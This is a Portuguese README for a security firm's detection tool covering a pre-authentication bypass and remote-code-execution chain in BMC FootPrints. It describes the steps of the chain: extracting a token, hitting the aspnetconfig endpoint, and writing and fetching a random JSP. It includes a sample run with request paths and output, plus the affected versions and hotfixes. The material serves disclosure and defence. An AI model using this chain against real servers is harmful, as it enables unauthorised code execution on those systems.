CVE-2025-71257 e CVE-2025-71260 Cadeia de Execução Remota de Código Pré-Autenticada no BMC FootPrints

Ferramenta Geradora de Artefatos de Detecção para Cadeia de Execução Remota de Código Pré-Autenticada no BMC FootPrints

Descrição

Este Gerador de Artefatos de Detecção verifica se a instância do BMC FootPrints é vulnerável ao CVE-2025-71257 e ao CVE-2025-71260.

O Gerador de Artefatos de Detecção tenta realizar duas operações:

Burlar a autenticação com CVE-2025-71257 - esta verificação é muito precisa.
Se for bem-sucedido, tenta verificar o RCE CVE-2025-71260 escrevendo um arquivo .jsp aleatório no webroot dos servidores Tomcat. Este arquivo .jsp apenas enumera informações do sistema.

Detecção em Ação

Teste contra uma instância vulnerável:

python3 watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260.py http://192.168.2.2
                         __         ___  ___________                   
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________ 
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|   
                                  \/          \/     \/                            
          
        watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260.py

        (*) BMC Footprints Authentication Bypass and Remote Code Execution Detection Artifact Generator Tool
        
          - Sonny , watchTowr ([email protected])

        CVEs: [CVE-2025-71257, CVE-2025-71260]
        
============================================================
Ferramenta Geradora de Artefatos de Detecção
============================================================
Alvo: http://192.168.2.2

[+] Fazendo primeira requisição para: http://192.168.2.2/footprints/servicedesk/passwordreset/request/
[+] SEC_TOKEN extraído com sucesso: wgLCxepla-NTW9VSXIxyzNiq7HFJ0-CEFnbzlObKu3Ktv3B33h

[+] Fazendo segunda requisição para: http://192.168.2.2footprints/servicedesk/aspnetconfig
[+] Usando token: wgLCxepla-NTW9VSXIxyzNiq7HFJ0-CEFnbzlObKu3Ktv3B33h
[+] Usando nome JSP aleatório: MNdeu12Wf

[+] Fazendo terceira requisição para: http://192.168.2.2/MNdeu12Wf.jsp (artefato aleatório)

==================================================
INFORMAÇÕES EXTRAÍDAS:
==================================================
Nome de usuário: LOCAL SERVICE
Diretório de trabalho: C:\Program Files\Apache Software Foundation\Tomcat 9.0
==================================================

[+] Gerador de Artefatos de Detecção Concluído!

Versões Afetadas

BMC FootPrints: de 20.20.02 até 20.24.01.001

Hotfixes Disponíveis

20.20.02, 20.20.03.002, 20.21.01.001, 20.21.02.002, 20.22.01, 20.22.01.001, 20.23.01, 20.23.01.002, 20.24.01

Referências: https://docs.bmc.com/xwiki/bin/view/More-Products/Footprints/FootPrints/fp2024/Release-notes/2024-Release-01-Patch-2/

Siga o watchTowr Labs

Para as últimas pesquisas em segurança, siga a equipe watchTowr Labs

watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260